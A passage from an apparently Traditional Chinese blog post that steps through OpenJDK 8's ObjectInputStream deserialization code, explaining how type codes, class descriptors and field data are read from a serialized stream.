class="line">    totalObjectRefs++;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        <span class="keyword">switch</span> (tc) &#123;</div><div class="line">            <span class="keyword">case</span> TC_NULL:</div><div class="line">                <span class="keyword">return</span> readNull();</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_REFERENCE:</div><div class="line">                <span class="comment">// check the type of the existing object</span></div><div class="line">                <span class="keyword">return</span> type.cast(readHandle(unshared));</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_CLASS:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast a class to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">return</span> readClass(unshared);</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_CLASSDESC:</div><div class="line">            <span class="keyword">case</span> TC_PROXYCLASSDESC:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast a class to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">return</span> readClassDesc(unshared);</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_STRING:</div><div class="line">            <span class="keyword">case</span> TC_LONGSTRING:</div><div class="line">                <span class="keyword">return</span> checkResolve(readString(unshared));</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_ARRAY:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast an array to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">return</span> checkResolve(readArray(unshared));</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_ENUM:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast an enum to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">return</span> checkResolve(readEnum(unshared));</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_OBJECT:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast an object to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                <span class="keyword">return</span> checkResolve(readOrdinaryObject(unshared));</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_EXCEPTION:</div><div class="line">                <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast an exception to java.lang.String"</span>);</div><div class="line">                &#125;</div><div class="line">                IOException ex = readFatalException();</div><div class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> WriteAbortedException(<span class="string">"writing aborted"</span>, ex);</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_BLOCKDATA:</div><div class="line">            <span class="keyword">case</span> TC_BLOCKDATALONG:</div><div class="line">                <span class="keyword">if</span> (oldMode) &#123;</div><div class="line">                    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">                    bin.peek();             <span class="comment">// force header read</span></div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> OptionalDataException(</div><div class="line">                        bin.currentBlockRemaining());</div><div class="line">                &#125; <span class="keyword">else</span> &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> StreamCorruptedException(</div><div class="line">                        <span class="string">"unexpected block data"</span>);</div><div class="line">                &#125;</div><div class="line"></div><div class="line">            <span class="keyword">case</span> TC_ENDBLOCKDATA:</div><div class="line">                <span class="keyword">if</span> (oldMode) &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> OptionalDataException(<span class="keyword">true</span>);</div><div class="line">                &#125; <span class="keyword">else</span> &#123;</div><div class="line">                    <span class="keyword">throw</span> <span class="keyword">new</span> StreamCorruptedException(</div><div class="line">                        <span class="string">"unexpected end of block data"</span>);</div><div class="line">                &#125;</div><div class="line"></div><div class="line">            <span class="keyword">default</span>:</div><div class="line">                <span class="keyword">throw</span> <span class="keyword">new</span> StreamCorruptedException(</div><div class="line">                    String.format(<span class="string">"invalid type code: %02X"</span>, tc));</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">finally</span> &#123;</div><div class="line">        depth--;</div><div class="line">        bin.setBlockDataMode(oldMode);</div><div class="line">    &#125;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>到這裡才真正開始處理序列化Stream中的內容</p>
<p>開頭的<code>bin</code>變數一樣由 constructor 做初始化，其實可以把它想成是一個序列化 Stream 的讀取器</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/** filter stream for handling block data conversion */</span></div><div class="line"><span class="keyword">private</span> <span class="keyword">final</span> BlockDataInputStream bin;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="title">ObjectInputStream</span><span class="params">(InputStream in)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    ...</div><div class="line">    bin = <span class="keyword">new</span> BlockDataInputStream(in);</div><div class="line">    ...</div><div class="line">    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p><code>BlockDataInputStream</code>是<code>ObjectInputStream</code>底層的資料讀取類別，用來完成對序列化Stream的讀取</p>
<p>其分為兩種讀取模式: Default mode 和 Block mode</p>
<p>從 code 裡可以看到，如果是 Block mode，會檢查當前 block 是否有剩餘的 bytes，都沒有就轉 Default mode</p>
<p>接著 <code>tc = bin.peekByte()</code> 會去呼叫 <code>PeekInputStream.peek()</code></p>
<p>這個 <code>PeekInputStream</code> 類別背後是繼承 <code>InputStream</code> 類別，最後呼叫的是 <code>InputStream.read()</code></p>
<p>所以其實這邊的 <code>tc</code> 就是從序列化 Stream 中讀一個 Byte 出來</p>
<p>以我們前面<code>Kaibro</code> class那個例子來說，根據 SerializationDumper 的結果，可以知道 <code>tc</code> 會走到 <code>TC_OBJECT</code> 這個分支</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div></pre></td><td class="code"><pre><div class="line"><span class="keyword">case</span> TC_OBJECT:</div><div class="line">    <span class="keyword">if</span> (type == String.class) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> ClassCastException(<span class="string">"Cannot cast an object to java.lang.String"</span>);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> checkResolve(readOrdinaryObject(unshared));</div></pre></td></tr></table></figure>
<p>常數 <code>TC_OBJECT</code> 對應的整數是 <code>0x73</code> (可參考<a href="https://github.com/AdoptOpenJDK/openjdk-jdk8u/blob/aa318070b27849f1fe00d14684b2a40f7b29bf79/jdk/src/share/classes/java/io/ObjectStreamConstants.java#L72" target="_blank" rel="external">src</a>)，代表讀進來的是個 object</p>
<p>繼續跟進 <code>readOrdinaryObject(unshared)</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Reads and returns "ordinary" (i.e., not a String, Class,</div><div class="line"> * ObjectStreamClass, array, or enum constant) object, or null if object's</div><div class="line"> * class is unresolvable (in which case a ClassNotFoundException will be</div><div class="line"> * associated with object's handle).  Sets passHandle to object's assigned</div><div class="line"> * handle.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> Object <span class="title">readOrdinaryObject</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (bin.readByte() != TC_OBJECT) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InternalError();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ObjectStreamClass desc = readClassDesc(<span class="keyword">false</span>);</div><div class="line">    desc.checkDeserialize();</div><div class="line"></div><div class="line">    Class&lt;?&gt; cl = desc.forClass();</div><div class="line">    <span class="keyword">if</span> (cl == String.class || cl == Class.class</div><div class="line">            || cl == ObjectStreamClass.class) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(<span class="string">"invalid class descriptor"</span>);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    Object obj;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        obj = desc.isInstantiable() ? desc.newInstance() : <span class="keyword">null</span>;</div><div class="line">    &#125; <span class="keyword">catch</span> (Exception ex) &#123;</div><div class="line">        <span class="keyword">throw</span> (IOException) <span class="keyword">new</span> InvalidClassException(</div><div class="line">            desc.forClass().getName(),</div><div class="line">            <span class="string">"unable to create instance"</span>).initCause(ex);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    passHandle = handles.assign(unshared ? unsharedMarker : obj);</div><div class="line">    ClassNotFoundException resolveEx = desc.getResolveException();</div><div class="line">    <span class="keyword">if</span> (resolveEx != <span class="keyword">null</span>) &#123;</div><div class="line">        handles.markException(passHandle, resolveEx);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (desc.isExternalizable()) &#123;</div><div class="line">        readExternalData((Externalizable) obj, desc);</div><div class="line">    &#125; <span class="keyword">else</span> &#123;</div><div class="line">        readSerialData(obj, desc);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    handles.finish(passHandle);</div><div class="line"></div><div class="line">    <span class="keyword">if</span> (obj != <span class="keyword">null</span> &amp;&amp;</div><div class="line">        handles.lookupException(passHandle) == <span class="keyword">null</span> &amp;&amp;</div><div class="line">        desc.hasReadResolveMethod())</div><div class="line">    &#123;</div><div class="line">        Object rep = desc.invokeReadResolve(obj);</div><div class="line">        <span class="keyword">if</span> (unshared &amp;&amp; rep.getClass().isArray()) &#123;</div><div class="line">            rep = cloneArray(rep);</div><div class="line">        &#125;</div><div class="line">        <span class="keyword">if</span> (rep != obj) &#123;</div><div class="line">            <span class="comment">// Filter the replacement object</span></div><div class="line">            <span class="keyword">if</span> (rep != <span class="keyword">null</span>) &#123;</div><div class="line">                <span class="keyword">if</span> (rep.getClass().isArray()) &#123;</div><div class="line">                    filterCheck(rep.getClass(), Array.getLength(rep));</div><div class="line">                &#125; <span class="keyword">else</span> &#123;</div><div class="line">                    filterCheck(rep.getClass(), -<span class="number">1</span>);</div><div class="line">                &#125;</div><div class="line">            &#125;</div><div class="line">            handles.setObject(passHandle, obj = rep);</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">return</span> obj;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>一開頭就直接呼叫 <code>readClassDesc(false)</code></p>
<p>繼續跟進去:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Reads in and returns (possibly null) class descriptor.  Sets passHandle</div><div class="line"> * to class descriptor's assigned handle.  If class descriptor cannot be</div><div class="line"> * resolved to a class in the local VM, a ClassNotFoundException is</div><div class="line"> * associated with the class descriptor's handle.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> ObjectStreamClass <span class="title">readClassDesc</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">byte</span> tc = bin.peekByte();</div><div class="line">    ObjectStreamClass descriptor;</div><div class="line">    <span class="keyword">switch</span> (tc) &#123;</div><div class="line">        <span class="keyword">case</span> TC_NULL:</div><div class="line">            descriptor = (ObjectStreamClass) readNull();</div><div class="line">            <span class="keyword">break</span>;</div><div class="line">        <span class="keyword">case</span> TC_REFERENCE:</div><div class="line">            descriptor = (ObjectStreamClass) readHandle(unshared);</div><div class="line">            <span class="keyword">break</span>;</div><div class="line">        <span class="keyword">case</span> TC_PROXYCLASSDESC:</div><div class="line">            descriptor = readProxyDesc(unshared);</div><div class="line">            <span class="keyword">break</span>;</div><div class="line">        <span class="keyword">case</span> TC_CLASSDESC:</div><div class="line">            descriptor = readNonProxyDesc(unshared);</div><div class="line">            <span class="keyword">break</span>;</div><div class="line">        <span class="keyword">default</span>:</div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> StreamCorruptedException(</div><div class="line">                String.format(<span class="string">"invalid type code: %02X"</span>, tc));</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">if</span> (descriptor != <span class="keyword">null</span>) &#123;</div><div class="line">        validateDescriptor(descriptor);</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">return</span> descriptor;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這邊的程式邏輯就跟方法名描述的一樣，會嘗試從序列化 Stream 中，構造出 class descriptor</p>
<p>以我們這邊的例子來說，第一個 Byte 讀到的會是 <code>TC_CLASSDESC</code> (<code>0x72</code>)，代表 Class Descriptor，就是一種用來描述類別的結構，包含類別名字、成員類型等資訊</p>
<p>所以接下來會呼叫 <code>descriptor = readNonProxyDesc(unshared)</code> 來讀出這個 class descriptor</p>
<p>一樣繼續跟進去:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Reads in and returns class descriptor for a class that is not a dynamic</div><div class="line"> * proxy class.  Sets passHandle to class descriptor's assigned handle.  If</div><div class="line"> * class descriptor cannot be resolved to a class in the local VM, a</div><div class="line"> * ClassNotFoundException is associated with the descriptor's handle.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">private</span> ObjectStreamClass <span class="title">readNonProxyDesc</span><span class="params">(<span class="keyword">boolean</span> unshared)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">if</span> (bin.readByte() != TC_CLASSDESC) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InternalError();</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    ObjectStreamClass desc = <span class="keyword">new</span> ObjectStreamClass();</div><div class="line">    <span class="keyword">int</span> descHandle = handles.assign(unshared ? unsharedMarker : desc);</div><div class="line">    passHandle = NULL_HANDLE;</div><div class="line"></div><div class="line">    ObjectStreamClass readDesc = <span class="keyword">null</span>;</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        readDesc = readClassDescriptor();</div><div class="line">    &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</div><div class="line">        <span class="keyword">throw</span> (IOException) <span class="keyword">new</span> InvalidClassException(</div><div class="line">            <span class="string">"failed to read class descriptor"</span>).initCause(ex);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    Class&lt;?&gt; cl = <span class="keyword">null</span>;</div><div class="line">    ClassNotFoundException resolveEx = <span class="keyword">null</span>;</div><div class="line">    bin.setBlockDataMode(<span class="keyword">true</span>);</div><div class="line">    <span class="keyword">final</span> <span class="keyword">boolean</span> checksRequired = isCustomSubclass();</div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        <span class="keyword">if</span> ((cl = resolveClass(readDesc)) == <span class="keyword">null</span>) &#123;</div><div class="line">            resolveEx = <span class="keyword">new</span> ClassNotFoundException(<span class="string">"null class"</span>);</div><div class="line">        &#125; <span class="keyword">else</span> <span class="keyword">if</span> (checksRequired) &#123;</div><div class="line">            ReflectUtil.checkPackageAccess(cl);</div><div class="line">        &#125;</div><div class="line">    &#125; <span class="keyword">catch</span> (ClassNotFoundException ex) &#123;</div><div class="line">        resolveEx = ex;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="comment">// Call filterCheck on the class before reading anything else</span></div><div class="line">    filterCheck(cl, -<span class="number">1</span>);</div><div class="line"></div><div class="line">    skipCustomData();</div><div class="line"></div><div class="line">    <span class="keyword">try</span> &#123;</div><div class="line">        totalObjectRefs++;</div><div class="line">        depth++;</div><div class="line">        desc.initNonProxy(readDesc, cl, resolveEx, readClassDesc(<span class="keyword">false</span>));</div><div class="line">    &#125; <span class="keyword">finally</span> &#123;</div><div class="line">        depth--;</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    handles.finish(descHandle);</div><div class="line">    passHandle = descHandle;</div><div class="line"></div><div class="line">    <span class="keyword">return</span> desc;</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>這裡會先初始化一個 <code>ObjectStreamClass</code> 物件 <code>desc</code>，他代表的就是序列化 class descriptor</p>
<p>接著後面呼叫 <code>readClassDescriptor()</code>，它一樣會去初始化一個 <code>ObjectStreamClass</code> 物件</p>
<p>然後對這個物件呼叫 <code>readNonProxy(this)</code> 方法</p>
<p>跟進 <code>readNonProxy()</code>:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div></pre></td><td class="code"><pre><div class="line"><span class="comment">/**</span></div><div class="line"> * Reads non-proxy class descriptor information from given input stream.</div><div class="line"> * The resulting class descriptor is not fully functional; it can only be</div><div class="line"> * used as input to the ObjectInputStream.resolveClass() and</div><div class="line"> * ObjectStreamClass.initNonProxy() methods.</div><div class="line"> */</div><div class="line"><span class="function"><span class="keyword">void</span> <span class="title">readNonProxy</span><span class="params">(ObjectInputStream in)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException, ClassNotFoundException</div><div class="line">&#123;</div><div class="line">    name = in.readUTF();</div><div class="line">    suid = Long.valueOf(in.readLong());</div><div class="line">    isProxy = <span class="keyword">false</span>;</div><div class="line"></div><div class="line">    <span class="keyword">byte</span> flags = in.readByte();</div><div class="line">    hasWriteObjectData =</div><div class="line">        ((flags &amp; ObjectStreamConstants.SC_WRITE_METHOD) != <span class="number">0</span>);</div><div class="line">    hasBlockExternalData =</div><div class="line">        ((flags &amp; ObjectStreamConstants.SC_BLOCK_DATA) != <span class="number">0</span>);</div><div class="line">    externalizable =</div><div class="line">        ((flags &amp; ObjectStreamConstants.SC_EXTERNALIZABLE) != <span class="number">0</span>);</div><div class="line">    <span class="keyword">boolean</span> sflag =</div><div class="line">        ((flags &amp; ObjectStreamConstants.SC_SERIALIZABLE) != <span class="number">0</span>);</div><div class="line">    <span class="keyword">if</span> (externalizable &amp;&amp; sflag) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(</div><div class="line">            name, <span class="string">"serializable and externalizable flags conflict"</span>);</div><div class="line">    &#125;</div><div class="line">    serializable = externalizable || sflag;</div><div class="line">    isEnum = ((flags &amp; ObjectStreamConstants.SC_ENUM) != <span class="number">0</span>);</div><div class="line">    <span class="keyword">if</span> (isEnum &amp;&amp; suid.longValue() != <span class="number">0L</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(name,</div><div class="line">            <span class="string">"enum descriptor has non-zero serialVersionUID: "</span> + suid);</div><div class="line">    &#125;</div><div class="line"></div><div class="line">    <span class="keyword">int</span> numFields = in.readShort();</div><div class="line">    <span class="keyword">if</span> (isEnum &amp;&amp; numFields != <span class="number">0</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> InvalidClassException(name,</div><div class="line">            <span class="string">"enum descriptor has non-zero field count: "</span> + numFields);</div><div class="line">    &#125;</div><div class="line">    fields = (numFields &gt; <span class="number">0</span>) ?</div><div class="line">        <span class="keyword">new</span> ObjectStreamField[numFields] : NO_FIELDS;</div><div class="line">    <span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; numFields; i++) &#123;</div><div class="line">        <span class="keyword">char</span> tcode = (<span class="keyword">char</span>) in.readByte();</div><div class="line">        String fname = in.readUTF();</div><div class="line">        String signature = ((tcode == <span class="string">'L'</span>) || (tcode == <span class="string">'['</span>)) ?</div><div class="line">            in.readTypeString() : <span class="keyword">new</span> String(<span class="keyword">new</span> <span class="keyword">char</span>[] &#123; tcode &#125;);</div><div class="line">        <span class="keyword">try</span> &#123;</div><div class="line">            fields[i] = <span class="keyword">new</span> ObjectStreamField(fname, signature, <span class="keyword">false</span>);</div><div class="line">        &#125; <span class="keyword">catch</span> (RuntimeException e) &#123;</div><div class="line">            <span class="keyword">throw</span> (IOException) <span class="keyword">new</span> InvalidClassException(name,</div><div class="line">                <span class="string">"invalid descriptor for field "</span> + fname).initCause(e);</div><div class="line">        &#125;</div><div class="line">    &#125;</div><div class="line">    computeFieldOffsets();</div><div class="line">&#125;</div></pre></td></tr></table></figure>
<p>小追一下 <code>readUTF()</code> 這部分的 code:</p>
<figure class="highlight java"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div><div class="line">39</div><div class="line">40</div><div class="line">41</div><div class="line">42</div><div class="line">43</div><div class="line">44</div><div class="line">45</div><div class="line">46</div><div class="line">47</div><div class="line">48</div><div class="line">49</div><div class="line">50</div><div class="line">51</div><div class="line">52</div><div class="line">53</div><div class="line">54</div><div class="line">55</div><div class="line">56</div><div class="line">57</div><div class="line">58</div><div class="line">59</div><div class="line">60</div><div class="line">61</div><div class="line">62</div><div class="line">63</div><div class="line">64</div><div class="line">65</div><div class="line">66</div><div class="line">67</div><div class="line">68</div><div class="line">69</div><div class="line">70</div><div class="line">71</div><div class="line">72</div><div class="line">73</div><div class="line">74</div><div class="line">75</div><div class="line">76</div><div class="line">77</div><div class="line">78</div><div class="line">79</div><div class="line">80</div><div class="line">81</div><div class="line">82</div><div class="line">83</div><div class="line">84</div><div class="line">85</div><div class="line">86</div></pre></td><td class="code"><pre><div class="line"><span class="function"><span class="keyword">public</span> String <span class="title">readUTF</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">return</span> readUTFBody(readUnsignedShort());</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment">// ObjectInputStream.readUnsignedShort()</span></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">readUnsignedShort</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">return</span> bin.readUnsignedShort();</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="comment">// BlockDataInputStream.readUnsignedShort()</span></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">readUnsignedShort</span><span class="params">()</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">if</span> (!blkmode) &#123;</div><div class="line">        pos = <span class="number">0</span>;</div><div class="line">        in.readFully(buf, <span class="number">0</span>, <span class="number">2</span>);</div><div class="line">    &#125; <span class="keyword">else</span> <span class="keyword">if</span> (end - pos &lt; <span class="number">2</span>) &#123;</div><div class="line">        <span class="keyword">return</span> din.readUnsignedShort();</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">int</span> v = Bits.getShort(buf, pos) &amp; <span class="number">0xFFFF</span>;</div><div class="line">    pos += <span class="number">2</span>;</div><div class="line">    <span class="keyword">return</span> v;</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">readFully</span><span class="params">(<span class="keyword">byte</span>[] b, <span class="keyword">int</span> off, <span class="keyword">int</span> len)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    readFully(b, off, len, <span class="keyword">false</span>);</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">void</span> <span class="title">readFully</span><span class="params">(<span class="keyword">byte</span>[] b, <span class="keyword">int</span> off, <span class="keyword">int</span> len, <span class="keyword">boolean</span> copy)</span></span></div><div class="line">    <span class="keyword">throws</span> IOException</div><div class="line">&#123;</div><div class="line">    <span class="keyword">while</span> (len &gt; <span class="number">0</span>) &#123;</div><div class="line">        <span class="keyword">int</span> n = read(b, off, len, copy);</div><div class="line">        <span class="keyword">if</span> (n &lt; <span class="number">0</span>) &#123;</div><div class="line">            <span class="keyword">throw</span> <span class="keyword">new</span> EOFException();</div><div class="line">        &#125;</div><div class="line">        off += n;</div><div class="line">        len -= n;</div><div class="line">    &#125;</div><div class="line">&#125;</div><div class="line"></div><div class="line"><span class="function"><span class="keyword">public</span> <span class="keyword">int</span> <span class="title">read</span><span class="params">(<span class="keyword">byte</span>[] buf, <span class="keyword">int</span> off, <span class="keyword">int</span> len)</span> <span class="keyword">throws</span> IOException </span>&#123;</div><div class="line">    <span class="keyword">if</span> (buf == <span class="keyword">null</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> NullPointerException();</div><div class="line">    &#125;</div><div class="line">    <span class="keyword">int</span> endoff = off + len;</div><div class="line">    <span class="keyword">if</span> (off &lt; <span class="number">0</span> || len &lt; <span class="number">0</span> || endoff &gt; buf.length || endoff &lt; <span class="number">0</span>) &#123;</div><div class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> IndexOutOfBoundsException();</div><div class="line">    